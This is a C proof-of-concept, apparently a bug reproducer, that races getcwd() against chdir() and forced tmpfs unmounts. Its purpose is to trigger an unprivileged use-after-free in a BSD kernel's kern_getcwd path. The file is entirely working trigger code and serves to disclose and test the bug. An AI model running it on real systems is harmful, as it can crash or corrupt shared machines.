/*
 * DF-5788 rigger - race kern_getcwd()'s unlocked mount-topology walk
 * (sys/kern/vfs_cache.c:kern_getcwd) against:
 *   (1) a sibling thread's chdir() which swaps+drops fdp->fd_ncdir
 *       (vfs_syscalls.c:kern_chdir, swap under fd_spin, drop after), and
 *   (2) forced unmount of the stacked user-mounted tmpfs filesystems the
 *       walk is traversing (dounmount frees the struct mount once
 *       mnt_refs==0: vfs_syscalls.c:1107-1117, vfs_mount.c:mount_drop).
 *
 * Layout (all under a user-owned dir):
 *   BASE/m1          - tmpfs T1 (user mount)
 *   BASE/m1/m2       - tmpfs T2 (user mount)
 *   BASE/m1/m2/d/LONG/LONG/...   - deep chain with long names
 *
 * The getcwd() walk from inside T2 dereferences (with no mount reference
 * held anywhere in kern_getcwd):
 *     ncp == nch.mount->mnt_ncmountpt.ncp      (vfs_cache.c:5094)
 *     nch  = nch.mount->mnt_ncmounton          (vfs_cache.c:5095)
 * while the churn thread umount -f's T2 and T1 under it.
 *
 * Unprivileged when vfs.usermount=1 (tmpfs is user-mountable:
 * get_fscap() SYSCAP_NOMOUNT_TMPFS; the mount owner may unmount with
 * arbitrary flags incl. MNT_FORCE).
 *
 * usage: df5788 <base_dir> <seconds>
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/ucred.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <time.h>

static char g_base[256];
static char g_deep[2048];
static volatile int g_stop;
static volatile long n_getcwd, n_enoent, n_ok, n_chdir, n_mount, n_umount, n_umount_fail;

#define LONGNAME "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"

static int
do_mount(const char *src, const char *dir)
{
	return mount("tmpfs", dir, 0, NULL);
}

static void
mkdir_p(const char *p)
{
	char tmp[2048];
	char *q;

	snprintf(tmp, sizeof(tmp), "%s", p);
	for (q = tmp + 1; *q; q++) {
		if (*q == '/') {
			*q = 0;
			mkdir(tmp, 0777);
			*q = '/';
		}
	}
	mkdir(tmp, 0777);
}

/* (re)create the stacked mounts + deep chain */
static int
setup_mounts(void)
{
	char p[2048];
	int rc;

	snprintf(p, sizeof(p), "%s/m1", g_base);
	mkdir_p(p);
	rc = do_mount("tmpfs", p);
	if (rc && errno != EBUSY) {
		if (errno == EPERM)
			return -2;	/* usermount caps unavailable */
		return -1;
	}
	snprintf(p, sizeof(p), "%s/m1/m2", g_base);
	mkdir_p(p);
	rc = do_mount("tmpfs", p);
	if (rc && errno != EBUSY)
		return -1;

	snprintf(g_deep, sizeof(g_deep), "%s/m1/m2", g_base);
	for (int i = 0; i < 6; i++) {
		strlcat(g_deep, "/" LONGNAME, sizeof(g_deep));
		mkdir_p(g_deep);
	}
	return 0;
}

static void
teardown_mounts(void)
{
	char p[2048];

	snprintf(p, sizeof(p), "%s/m1/m2", g_base);
	unmount(p, MNT_FORCE);		/* T2 */
	snprintf(p, sizeof(p), "%s/m1", g_base);
	for (int i = 0; i < 50; i++) {
		if (unmount(p, MNT_FORCE) == 0)	/* T1 */
			break;
		usleep(1000);
	}
}

static void *
thr_getcwd(void *arg)
{
	char buf[MAXPATHLEN];

	while (!g_stop) {
		if (getcwd(buf, sizeof(buf)) == NULL) {
			if (errno == ENOENT)
				n_enoent++;
		} else {
			n_ok++;
		}
		n_getcwd++;
	}
	return NULL;
}

static void *
thr_chdir(void *arg)
{
	char out[256];

	snprintf(out, sizeof(out), "%s/outside", g_base);
	mkdir_p(out);
	while (!g_stop) {
		if (chdir(g_deep) == 0)
			n_chdir++;
		if (chdir(out) == 0)
			n_chdir++;
	}
	return NULL;
}

static void *
thr_churn(void *arg)
{
	while (!g_stop) {
		teardown_mounts();
		n_umount++;
		if (setup_mounts() == 0)
			n_mount++;
		usleep(1000);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t t1, t2, t3;
	int secs = 30;
	struct timespec ts0, ts1;

	if (argc > 1)
		snprintf(g_base, sizeof(g_base), "%s", argv[1]);
	else
		snprintf(g_base, sizeof(g_base), "/tmp/df5788");
	if (argc > 2)
		secs = atoi(argv[2]);

	mkdir_p(g_base);
	if (setup_mounts() != 0) {
		perror("setup_mounts (need vfs.usermount=1 + tmpfs cap, or run as root)");
		return 2;
	}
	printf("base=%s deep=%s\n", g_base, g_deep);
	printf("getcwd: %s\n", getcwd(NULL, MAXPATHLEN) ?: "(-)");

	clock_gettime(CLOCK_MONOTONIC, &ts0);
	g_stop = 0;
	pthread_create(&t1, NULL, thr_getcwd, NULL);
	pthread_create(&t2, NULL, thr_chdir, NULL);
	pthread_create(&t3, NULL, thr_churn, NULL);

	sleep(secs);
	g_stop = 1;
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	pthread_join(t3, NULL);
	clock_gettime(CLOCK_MONOTONIC, &ts1);

	printf("ran %ld.%03lds: getcwd=%ld ok=%ld enoent=%ld chdir=%ld "
	       "umount=%ld mount=%ld\n",
	       ts1.tv_sec - ts0.tv_sec, ts1.tv_nsec / 1000000,
	       n_getcwd, n_ok, n_enoent, n_chdir, n_umount, n_mount);
	teardown_mounts();
	printf("DONE rc=0\n");
	return 0;
}
